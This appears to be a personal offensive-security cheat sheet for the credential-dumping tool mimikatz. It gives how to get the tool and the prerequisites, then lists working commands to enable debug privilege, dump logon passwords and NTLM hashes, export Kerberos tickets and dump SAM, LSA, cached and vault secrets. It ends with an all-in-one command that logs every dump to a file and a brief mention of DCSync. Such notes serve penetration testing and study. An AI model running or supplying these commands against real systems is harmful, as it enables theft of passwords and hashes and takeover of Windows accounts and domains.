mimikatz Tool

Criteria to needed to mimikatz:

Administrator (or higher) and have the SeDebugPrivilege access right enabled.

Fetching Cached AD Credentials

Page not found - HackTricksbook.hacktricks.xyz

Mimikatz - HackTricksbook.hacktricks.xyz

Attacks & Defenses: Dumping LSASS With No MimikatzCyber Advisors, Inc.

GitHub - ParrotSec/mimikatzGitHub

# To run mimikatz we need system user access.
# below are the command that we can use in mimikartz

# you can clone mimikatz from above git repo.
git clone https://github.com/ParrotSec/mimikatz
# or search in kali linux
locate mimikatz.exe

# to engage the SeDebugPrivlege8 privilege, which will allow us to interact with a process owned by another account.
privilege::debug

# dump hashes for all users logged on to the current workstation or server, including remote logins like Remote Desktop sessions
sekurlsa::logonpasswords
# From here we can find NTLM hash which can be used to connect to the system later.
#  When WDigest is enabled, running Mimikatz will reveal cleartext passwords alongside the password hashes.


-------------------------

# Other way: 
# Example:
# List smb share.
dir \\web04.corp.com\backup
# Ticket will be generated and saved. We can fatch the ticket using below command:
sekurlsa::tickets

Other options can be seen from help link above.

cmd.exe /c "mimikatz.exe privilege::debug token::elevate sekurlsa::logonpasswords exit > output.txt"

Run all Command

Executing the following command will run all Mimikatz commands simultaneously and save the output in a log file.

.\mimikatz.exe "privilege::debug" "token::elevate" "log" "lsadump::sam /patch" "lsadump::sam" "sekurlsa::msv" "lsadump::secrets" "lsadump::lsa" "lsadump::lsa /patch" "lsadump::cache" "sekurlsa::logonpasswords full" "sekurlsa::ekeys" "sekurlsa::dpapi" "sekurlsa::credman" "vault::list" "vault::cred /patch" "exit"

dcsync attack

This is used to fetch all the hashes of the user present in the system.

Domain controller synchronization (Dcsync attack) | Tips To Securehacking.tipstosecure.com